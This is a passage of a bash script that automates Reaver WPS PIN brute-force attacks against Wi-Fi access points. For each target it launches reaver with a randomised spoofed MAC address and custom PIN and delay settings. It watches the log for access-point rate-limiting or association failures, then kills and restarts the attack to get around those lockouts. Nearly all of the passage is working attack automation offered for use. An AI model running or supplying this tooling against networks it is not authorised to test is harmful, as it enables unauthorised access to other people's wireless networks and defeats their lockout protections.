echo -e "$info File name being written to root    = $yel$NAME16-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL16 -b $TARGETAP16 -vv -x 60 -r $RX16:$RY16 --pin=$WPS_PIN16 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME16-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE16-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R16 == n || $USE_R16 == N ]] && [[ $USE_LONG16 == y || $USE_LONG16 == Y ]] && [[ $USE_PIN16 == y || $USE_PIN16 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME16"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL16"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP16"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE16 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME16-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL16 -b $TARGETAP16 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN16 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME16-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE16-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R16 == y || $USE_R16 == Y ]] && [[ $USE_LONG16 == y || $USE_LONG16 == Y ]] && [[ $USE_PIN16 == y || $USE_PIN16 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME16"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL16"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP16"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX16" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY16"
echo -e "$info Reaver live time                   = $yel$LIVE16 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME16-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL16 -b $TARGETAP16 -r $RX16:$RY16 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN16 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME16-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE16-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME16-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP16 (ESSID: $NMEWARN16)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE16 == n ] || [ $KEEP_FILE16 == N ]; then

          rm VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R17 == n || $USE_R17 == N ]] && [[ $USE_LONG17 == n || $USE_LONG17 == N ]] && [[ $USE_PIN17 == n || $USE_PIN17 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME17"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL17"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP17"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE17 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME17-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL17 -b $TARGETAP17 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME17-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE17-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R17 == y || $USE_R17 == Y ]] && [[ $USE_LONG17 == n || $USE_LONG17 == N ]] && [[ $USE_PIN17 == n || $USE_PIN17 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME17"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL17"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP17"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX17" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY17"
echo -e "$info Reaver live time                   = $yel$LIVE17 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME17-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL17 -b $TARGETAP17 -vv -x 60 -r $RX17:$RY17 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME17-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE17-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

